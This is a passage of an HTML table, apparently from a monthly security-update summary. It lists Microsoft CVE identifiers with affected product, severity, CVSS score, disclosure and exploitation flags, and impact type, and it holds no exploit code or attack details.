 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633"><span>CVE-2026-58633</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58634"><span>CVE-2026-58634</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50296"><span>CVE-2026-50296</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375"><span>CVE-2026-50375</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50353"><span>CVE-2026-50353</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50493"><span>CVE-2026-50493</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56643"><span>CVE-2026-56643</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56644"><span>CVE-2026-56644</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58629"><span>CVE-2026-58629</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49174"><span>CVE-2026-49174</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50495"><span>CVE-2026-50495</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57088"><span>CVE-2026-57088</span></a></td>
  <td width="256" class="xl74">Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a></td>
  <td width="256" class="xl74">Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47282"><span>CVE-2026-47282</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50510"><span>CVE-2026-50510</span></a></td>
  <td width="256" class="xl74">GitHub Copilot Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49787"><span>CVE-2026-49787</span></a></td>
  <td width="256" class="xl74">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50420"><span>CVE-2026-50420</span></a></td>
  <td width="256" class="xl74">HTTP.sys Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49788"><span>CVE-2026-49788</span></a></td>
  <td width="256" class="xl74">HTTP/2 Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50696"><span>CVE-2026-50696</span></a></td>
  <td width="256" class="xl74">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58617"><span>CVE-2026-58617</span></a></td>
  <td width="256" class="xl74">M365 Copilot for iOS
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58595"><span>CVE-2026-58595</span></a></td>
  <td width="256" class="xl74">Microsoft Bing App for
  IOS Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49162"><span>CVE-2026-49162</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50305"><span>CVE-2026-50305</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50361"><span>CVE-2026-50361</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50466"><span>CVE-2026-50466</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50458"><span>CVE-2026-50458</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50658"><span>CVE-2026-50658</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"><span>CVE-2026-56178</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50657"><span>CVE-2026-50657</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329"><span>CVE-2026-50329</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58541"><span>CVE-2026-58541</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596"><span>CVE-2026-58596</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"><span>CVE-2026-57991</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58291"><span>CVE-2026-58291</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981"><span>CVE-2026-57981</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57984"><span>CVE-2026-57984</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57985"><span>CVE-2026-57985</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57986"><span>CVE-2026-57986</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57988"><span>CVE-2026-57988</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57992"><span>CVE-2026-57992</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58276"><span>CVE-2026-58276</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
